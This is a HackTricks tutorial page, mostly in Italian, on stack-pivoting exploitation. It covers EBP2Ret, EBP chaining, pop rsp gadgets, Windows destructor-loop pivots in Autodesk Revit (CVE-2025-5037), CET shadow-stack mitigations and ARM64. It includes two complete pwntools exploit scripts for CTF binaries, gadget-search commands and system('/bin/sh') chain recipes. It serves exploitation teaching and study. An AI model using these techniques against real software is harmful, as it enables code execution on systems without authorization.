Stack Pivoting - EBP2Ret - EBP chaining

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP/RBP) per concatenare l’esecuzione di più funzioni attraverso l’uso attento del frame pointer e della sequenza di istruzioni leave; ret.

Come promemoria, su x86/x86-64 leave è equivalente a:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

E poiché il EBP/RBP salvato è nello stack prima dell’EIP/RIP salvato, è possibile controllarlo manipolando lo stack.

Notes

  • Su 64-bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
  • Alcuni compilatori omettono il frame pointer (vedi “EBP might not be used”). In tal caso, leave potrebbe non comparire e questa tecnica non funzionerĂ .

EBP2Ret

Questa tecnica è particolarmente utile quando puoi alterare l’EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP. Sfrutta il comportamento dell’epilogo della funzione.

Se, durante l’esecuzione di fvuln, riesci a iniettare un fake EBP nello stack che punti a un’area di memoria dove si trova l’indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per compensare il pop), puoi controllare indirettamente RIP. Quando la funzione ritorna, leave imposta RSP alla location costruita e il successivo pop rbp decrementa RSP, facendolo effettivamente puntare a un indirizzo lì memorizzato dall’attaccante. Poi ret userà quell’indirizzo.

Nota che hai bisogno di conoscere 2 indirizzi: l’indirizzo dove ESP/RSP andrà, e il valore memorizzato a quell’indirizzo che ret consumerà.

Exploit Construction

Per prima cosa devi conoscere un indirizzo dove puoi scrivere dati/indirizzi arbitrari. RSP punterĂ  qui e consumerĂ  il primo ret.

Poi devi scegliere l’indirizzo usato da ret che trasferirà l’esecuzione. Potresti usare:

  • Un indirizzo valido ONE_GADGET.
  • L’indirizzo di system() seguito dal return e dagli argomenti appropriati (su x86: ret target = &system, poi 4 byte di junk, poi &"/bin/sh").
  • L’indirizzo di un gadget jmp esp; (ret2esp) seguito da shellcode inline.
  • Una catena ROP disposta in memoria scrivibile.

Ricorda che prima di ciascuno di questi indirizzi nell’area controllata, deve esserci spazio per il pop ebp/rbp derivante dal leave (8B su amd64, 4B su x86). Puoi sfruttare questi byte per impostare un secondo fake EBP e mantenere il controllo dopo il ritorno della prima chiamata.

Off-By-One Exploit

Esiste una variante usata quando puoi modificare solo il byte meno significativo dell’EBP/RBP salvato. In tal caso, la location di memoria che memorizza l’indirizzo verso cui saltare con ret deve condividere i primi tre/cinque byte con l’EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito il byte basso (offset 0x00) viene incrementato per saltare il più lontano possibile all’interno di una pagina/regione allineata vicina.

È anche comune usare un RET sled nello stack e mettere la vera catena ROP alla fine, per aumentare la probabilità che il nuovo RSP punti all’interno del sled e che la catena ROP finale venga eseguita.

EBP Chaining

Posizionando un indirizzo controllato nello slot EBP salvato dello stack e un gadget leave; ret in EIP/RIP, è possibile spostare ESP/RSP verso un indirizzo controllato dall’attaccante.

Ora RSP è controllato e l’istruzione successiva è ret. Metti nella memoria controllata qualcosa del tipo:

  • &(next fake EBP) -> Caricato da pop ebp/rbp derivante da leave.
  • &system() -> Chiamato da ret.
  • &(leave;ret) -> Dopo che system termina, sposta RSP verso il prossimo fake EBP e continua.
  • &("/bin/sh") -> Argomento per system.

In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.

È simile a un ret2lib, ma piÚ complesso e utile solo nei casi limite.

Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. Questo è il payload finale dalla pagina:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI richiede un allineamento dello stack a 16 byte nei punti di call. Se la tua chain chiama funzioni come system, aggiungi un alignment gadget (es., ret, o sub rsp, 8 ; ret) prima della call per mantenere l’allineamento ed evitare crash dovuti a movaps.

EBP potrebbe non essere usato

Come spiegato in questo post, se un binario è compilato con alcune ottimizzazioni o con omissione del frame-pointer, il EBP/RBP non controlla mai ESP/RSP. Pertanto, qualsiasi exploit che funzioni controllando EBP/RBP fallirà perchÊ il prologo/epilogo non ripristina dal frame pointer.

  • Non ottimizzato / frame pointer usato:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Ottimizzato / frame pointer omitted:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Su amd64 vedrai spesso pop rbp ; ret invece di leave ; ret, ma se il frame pointer è del tutto omesso non esiste un epilogo basato su rbp attraverso cui effettuare il pivot.

Altri modi per controllare RSP

pop rsp gadget

In this page puoi trovare un esempio che utilizza questa tecnica. Per quel challenge era necessario chiamare una funzione con 2 argomenti specifici, e c’era un pop rsp gadget e c’era una leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Consulta la tecnica ret2esp qui:

Ret2esp / Ret2reg

Trovare rapidamente gadget per il pivot

Usa il tuo gadget finder preferito per cercare le primitive classiche per il pivot:

  • leave ; ret nelle funzioni o nelle librerie
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (o add esp, <imm> ; ret su x86)

Esempi:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Pattern classico di pivot staging

Una strategia di pivot robusta usata in molti CTF/exploit:

  1. Usa un piccolo overflow iniziale per chiamare read/recv in una grande regione scrivibile (es., .bss, heap, o memoria mappata RW) e piazzarvi una catena ROP completa.
  2. Ritornare in un pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) per spostare RSP in quella regione.
  3. Continuare con la catena a stadi (es., leak libc, chiamare mprotect, poi read dello shellcode, poi saltare su di esso).

Windows: Destructor-loop weird-machine pivots (studio del caso Revit RFA)

I parser client-side a volte implementano destructor loop che chiamano indirettamente un puntatore a funzione derivato da campi dell’oggetto controllati dall’attaccante. Se ogni iterazione offre esattamente una chiamata indiretta (una “one-gadget” machine), puoi convertire questo in un pivot dello stack affidabile e in un punto d’ingresso ROP.

Osservato nella deserializzazione di Autodesk Revit RFA (CVE-2025-5037):

  • Oggetti creati di tipo AString pongono un puntatore ai byte controllati dall’attaccante all’offset 0.
  • Il destructor loop esegue effettivamente un gadget per oggetto:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Two practical pivots:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains 8B E0 → mov esp, eax, eventually ret, to pivot from the call primitive to a heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (move original rax into rbp)
  • Gadget 2: leave ; ... ; ret (becomes mov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.

Tips for Windows x64 after the pivot:

  • Respect the 0x20-byte shadow space and maintain 16-byte alignment before call sites. It’s often convenient to place literals above the return address and use a gadget like lea rcx, [rsp+0x20] ; call rax followed by pop rax ; ret to pass stack addresses without corrupting control flow.
  • Non-ASLR helper modules (if present) provide stable gadget pools and imports such as LoadLibraryW/GetProcAddress to dynamically resolve targets like ucrtbase!system.
  • Creating missing gadgets via a writable thunk: if a promising sequence ends in a call through a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step like pop rax ; ret. The sequence then behaves like it ended with ret (e.g., mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.

For full chain construction and gadget examples, see the reference below.

Mitigazioni moderne che interrompono stack pivoting (CET/Shadow Stack)

Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.

  • For background and deeper details see:

CET & Shadow Stack

  • Verifiche rapide su Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Appunti per lab/CTF:

  • Alcune distro moderne abilitano SHSTK per i binari CET-enabled quando hardware e glibc lo supportano. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di boot del kernel nousershstk, oppure abilitato selettivamente tramite i tunable di glibc durante l’avvio (vedi riferimenti). Non disabilitare le mitigazioni su target di produzione.

  • Tecniche basate su JOP/COOP o SROP potrebbero essere ancora utilizzabili su alcuni target, ma SHSTK in particolare rompe i pivot basati su ret.

  • Nota Windows: Windows 10+ espone la protezione lato user-mode e Windows 11 aggiunge la “Hardware-enforced Stack Protection” in kernel-mode basata su shadow stacks. I processi compatibili con CET impediscono lo stack pivoting/ROP al ret; gli sviluppatori si abilitano tramite CETCOMPAT e policy correlate (vedi riferimento).

ARM64

In ARM64, il prologo e gli epiloghi delle funzioni non salvano né ripristinano il registro SP nello stack. Inoltre, l’istruzione RET non ritorna all’indirizzo puntato da SP, ma all’indirizzo contenuto in x30.

Quindi, di default, abusando semplicemente dell’epilogo non si potrà controllare il registro SP sovrascrivendo alcuni dati nello stack. E anche se si riesce a controllare lo SP, sarà comunque necessario un modo per controllare il registro x30.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

Il modo per eseguire qualcosa di simile allo stack pivoting in ARM64 sarebbe poter controllare lo SP (controllando un registro il cui valore viene assegnato a SP o perché per qualche motivo lo SP prende il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dell’epilogo per caricare il registro x30 da uno SP controllato e fare RET su di esso.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks